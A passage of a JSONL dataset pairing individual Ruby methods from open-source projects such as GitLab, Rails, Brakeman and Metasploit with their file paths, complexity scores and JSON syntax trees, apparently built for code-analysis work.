}]}]}]}","id":"ec6e936b-25a3-4340-9671-d602ab9ddf18"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/achievements_controller.rb","start_line":16,"raw_source":"def authorize_read_achievement!\n      render_404 unless can?(current_user, :read_achievement, group)\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_read_achievement!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_achievement\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}","id":"5cc80811-dd93-421b-9aff-739c4b42e386"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/test_case_test.rb","start_line":46,"raw_source":"def render_raw_post\n      raise ActiveSupport::TestCase::Assertion, \"#raw_post is blank\" if request.raw_post.blank?\n      render plain: request.raw_post\n    end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"render_raw_post\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"raw_post\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]},{\"type\":\"str\",\"children\":[\"#raw_post is blank\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"raw_post\"]}]}]}]}]}]}","id":"c0571e23-0d28-4d86-b28c-50366e50ecb6"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/report.rb","start_line":11,"raw_source":"def initialize tracker\n    @app_tree = tracker.app_tree\n    @tracker = tracker\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tracker\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@app_tree\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"app_tree\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@tracker\",{\"type\":\"lvar\",\"children\":[\"tracker\"]}]}]}]}","id":"c8e1fd68-a89b-4b1a-8b99-9711da866aa9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/routing/pseudonymization_helper.rb","start_line":72,"raw_source":"def has_maskable_params?\n        request_params = @request.path_parameters.to_h\n        request_params.key?(:namespace_id) ||\n          request_params.key?(:group_id) ||\n          request_params.key?(:project_id) ||\n          request_params.key?(:id) ||\n          request_params.key?(:username) ||\n          @request.query_string.present?\n      end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"has_maskable_params?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"path_parameters\"]},\"to_h\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"group_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"query_string\"]},\"present?\"]}]}]}]}","id":"a3ad60e4-7e8b-4dea-9580-592ec9ad028d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/runners_finder.rb","start_line":171,"raw_source":"def by_owner(items)\n      return items unless @params[:owner_full_path].present?\n\n      routable = Routable.find_by_full_path(@params[:owner_full_path])\n\n      case routable\n      when ::Project\n        items.belonging_to_project(routable)\n      when ::Group\n        items.belonging_to_group(routable)\n      else\n        Ci::Runner.none\n      end\n    end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"by_owner\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"owner_full_path\"]}]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"routable\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Routable\"]},\"find_by_full_path\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"owner_full_path\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routable\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"belonging_to_project\",{\"type\":\"lvar\",\"children\":[\"routable\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"belonging_to_group\",{\"type\":\"lvar\",\"children\":[\"routable\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Runner\"]},\"none\"]}]}]}]}","id":"01e43efb-cf5d-49a0-b502-6eaed6296102"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/organizations_controller.rb","start_line":153,"raw_source":"def valid_filename?(image)\n    return true unless long_filename?(image)\n\n    @organization.errors.add(:profile_image, filename_too_long_message)\n\n    false\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_filename?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"image\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"long_filename?\",{\"type\":\"lvar\",\"children\":[\"image\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@organization\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"profile_image\"]},{\"type\":\"send\",\"children\":[null,\"filename_too_long_message\"]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"088ff68e-162c-40c9-b667-4c98f50c1fae"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/formatter_tsv.rb","start_line":33,"raw_source":"def format(tag, time, record)\n        formatted = @keys.map{|k| record[k].to_s }.join(@delimiter)\n        formatted << @newline if @add_newline\n        formatted\n      end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"formatted\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@keys\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"k\"]}]},\"to_s\"]}]},\"join\",{\"type\":\"ivar\",\"children\":[\"@delimiter\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@add_newline\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatted\"]},\"<<\",{\"type\":\"ivar\",\"children\":[\"@newline\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"formatted\"]}]}]}","id":"960ca053-f538-47dc-a607-36cf7abc74d4"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/storage.rb","start_line":217,"raw_source":"def self.scan_storages_unprocessed(miq_task)\n    miq_task.context_data[:targets] - (miq_task.context_data[:complete] + miq_task.context_data[:pending].keys)\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"scan_storages_unprocessed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"miq_task\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_task\"]},\"context_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"targets\"]}]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_task\"]},\"context_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"complete\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_task\"]},\"context_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pending\"]}]},\"keys\"]}]}]}]}]}","id":"8bbf33f9-ba18-4dba-ae71-096673c9845d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/exchange_proxyshell_rce.rb","start_line":551,"raw_source":"def self.encode(data)\n    encoded = ''\n    data.each_char do |char|\n      encoded << ENCODE_TABLE[char.ord].chr\n    end\n    encoded\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"encode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"encoded\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"each_char\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"char\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENCODE_TABLE\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"char\"]},\"ord\"]}]},\"chr\"]}]}]},{\"type\":\"lvar\",\"children\":[\"encoded\"]}]}]}","id":"feb42878-ccf3-4a54-b648-5c7919aafd50"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/orders/return_authorizations_controller.rb","start_line":36,"raw_source":"def load_return_items\n          all_inventory_units = @return_authorization.order.inventory_units\n          associated_inventory_units = @return_authorization.return_items.map(&:inventory_unit)\n          unassociated_inventory_units = all_inventory_units - associated_inventory_units\n\n          new_return_items = unassociated_inventory_units.map do |new_unit|\n            Spree::ReturnItem.new(inventory_unit: new_unit, return_authorization: @return_authorization).tap(&:set_default_pre_tax_amount)\n          end\n\n          @form_return_items = (@return_authorization.return_items + new_return_items).sort_by(&:inventory_unit_id)\n        end","complexity_score":22.1,"ast_json":"{\"type\":\"def\",\"children\":[\"load_return_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all_inventory_units\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@return_authorization\"]},\"order\"]},\"inventory_units\"]}]},{\"type\":\"lvasgn\",\"children\":[\"associated_inventory_units\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@return_authorization\"]},\"return_items\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"inventory_unit\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"unassociated_inventory_units\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_inventory_units\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"associated_inventory_units\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_return_items\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unassociated_inventory_units\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_unit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"ReturnItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inventory_unit\"]},{\"type\":\"lvar\",\"children\":[\"new_unit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"return_authorization\"]},{\"type\":\"ivar\",\"children\":[\"@return_authorization\"]}]}]}]},\"tap\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"set_default_pre_tax_amount\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@form_return_items\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@return_authorization\"]},\"return_items\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"new_return_items\"]}]}]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"inventory_unit_id\"]}]}]}]}]}]}","id":"828f5a6e-8eed-40bd-8a94-16912eddb878"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/test.rb","start_line":215,"raw_source":"def existing\n    rescan.existing_warnings\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"existing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rescan\"]},\"existing_warnings\"]}]}","id":"b4cbf12d-c669-4e40-9df1-3d3c7231c2d8"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/middleware/current_attributes.rb","start_line":103,"raw_source":"def build_cattrs_hash(klass_or_array)\n        if klass_or_array.is_a?(Array)\n          {}.tap do |hash|\n            klass_or_array.each_with_index do |klass, index|\n              hash[key_at(index)] = klass.to_s\n            end\n          end\n        else\n          {key_at(0) => klass_or_array.to_s}\n        end\n      end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build_cattrs_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass_or_array\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass_or_array\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass_or_array\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[null,\"key_at\",{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"to_s\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key_at\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass_or_array\"]},\"to_s\"]}]}]}]}]}","id":"70763e89-f7ea-4c65-9c44-c7f4d490c435"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/spec/rubocop/config_loader_spec.rb","start_line":1573,"raw_source":"def cop_enabled?(cop_class)\n        configuration_from_file.for_cop(cop_class).fetch('Enabled')\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cop_enabled?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cop_class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration_from_file\"]},\"for_cop\",{\"type\":\"lvar\",\"children\":[\"cop_class\"]}]},\"fetch\",{\"type\":\"str\",\"children\":[\"Enabled\"]}]}]}","id":"678b3658-6dc0-4740-9d91-3546b8da7517"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/build_artifacts_controller.rb","start_line":55,"raw_source":"def job_from_id\n    project.builds.find_by_id(params[:build_id]) if params[:build_id]\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"job_from_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"build_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"builds\"]},\"find_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"build_id\"]}]}]},null]}]}","id":"739c5262-0f5d-487f-866a-a37e0cb8961e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/rake_helpers.rb","start_line":17,"raw_source":"def main_object\n    @main_object ||= TOPLEVEL_BINDING.eval('self')\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"main_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@main_object\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TOPLEVEL_BINDING\"]},\"eval\",{\"type\":\"str\",\"children\":[\"self\"]}]}]}]}","id":"199e8227-c64a-4519-af81-177d415094cc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration/compatibility.rb","start_line":183,"raw_source":"def compatible_table_definition(t)\n            t.singleton_class.prepend(TableDefinition)\n            super\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"compatible_table_definition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"singleton_class\"]},\"prepend\",{\"type\":\"const\",\"children\":[null,\"TableDefinition\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"8e48f5d5-491d-4b49-8ffc-6703f49f965f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/issuables_helper.rb","start_line":146,"raw_source":"def issuable_initial_data(issuable)\n    data = {\n      endpoint: issuable_path(issuable),\n      updateEndpoint: \"#{issuable_path(issuable)}.json\",\n      canUpdate: can?(current_user, :\"update_#{issuable.to_ability_name}\", issuable),\n      canDestroy: can?(current_user, :\"destroy_#{issuable.to_ability_name}\", issuable),\n      issuableRef: issuable.to_reference,\n      imported: issuable.imported?,\n      markdownPreviewPath: preview_markdown_path(parent, target_type: issuable.model_name, target_id: issuable.iid),\n      markdownDocsPath: help_page_path('user/markdown.md'),\n      lockVersion: issuable.lock_version,\n      issuableTemplateNamesPath: template_names_path(parent, issuable),\n      initialTitleHtml: markdown_field(issuable, :title),\n      initialTitleText: issuable.title,\n      initialDescriptionHtml: markdown_field(issuable, :description),\n      initialDescriptionText: issuable.description,\n      initialTaskCompletionStatus: issuable.task_completion_status\n    }\n    data.merge!(issue_only_initial_data(issuable))\n    data.merge!(path_data(parent))\n    data.merge!(updated_at_by(issuable))\n\n    data\n  end","complexity_score":33.6,"ast_json":"{\"type\":\"def\",\"children\":[\"issuable_initial_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"endpoint\"]},{\"type\":\"send\",\"children\":[null,\"issuable_path\",{\"type\":\"lvar\",\"children\":[\"issuable\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updateEndpoint\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issuable_path\",{\"type\":\"lvar\",\"children\":[\"issuable\"]}]}]},{\"type\":\"str\",\"children\":[\".json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"canUpdate\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"update_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"to_ability_name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"canDestroy\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"destroy_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"to_ability_name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issuableRef\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"to_reference\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"imported\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"imported?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"markdownPreviewPath\"]},{\"type\":\"send\",\"children\":[null,\"preview_markdown_path\",{\"type\":\"send\",\"children\":[null,\"parent\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"model_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"iid\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"markdownDocsPath\"]},{\"type\":\"send\",\"children\":[null,\"help_page_path\",{\"type\":\"str\",\"children\":[\"user/markdown.md\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lockVersion\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"lock_version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issuableTemplateNamesPath\"]},{\"type\":\"send\",\"children\":[null,\"template_names_path\",{\"type\":\"send\",\"children\":[null,\"parent\"]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"initialTitleHtml\"]},{\"type\":\"send\",\"children\":[null,\"markdown_field\",{\"type\":\"lvar\",\"children\":[\"issuable\"]},{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"initialTitleText\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"initialDescriptionHtml\"]},{\"type\":\"send\",\"children\":[null,\"markdown_field\",{\"type\":\"lvar\",\"children\":[\"issuable\"]},{\"type\":\"sym\",\"children\":[\"description\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"initialDescriptionText\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"initialTaskCompletionStatus\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"task_completion_status\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"merge!\",{\"type\":\"send\",\"children\":[null,\"issue_only_initial_data\",{\"type\":\"lvar\",\"children\":[\"issuable\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"merge!\",{\"type\":\"send\",\"children\":[null,\"path_data\",{\"type\":\"send\",\"children\":[null,\"parent\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"merge!\",{\"type\":\"send\",\"children\":[null,\"updated_at_by\",{\"type\":\"lvar\",\"children\":[\"issuable\"]}]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}","id":"1673805e-2c4f-4d83-86c9-715a5701e138"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/tftp/server.rb","start_line":179,"raw_source":"def find_transfer(type, from, block)\n    self.transfers.each do |tr|\n      if (tr[:type] == type and tr[:from] == from and tr[:block] == block)\n        return tr\n      end\n    end\n    nil\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find_transfer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"transfers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tr\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tr\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tr\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"from\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"from\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tr\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"block\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tr\"]}]},null]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"f3f3f449-6516-4395-81ec-be9b8ce61524"}
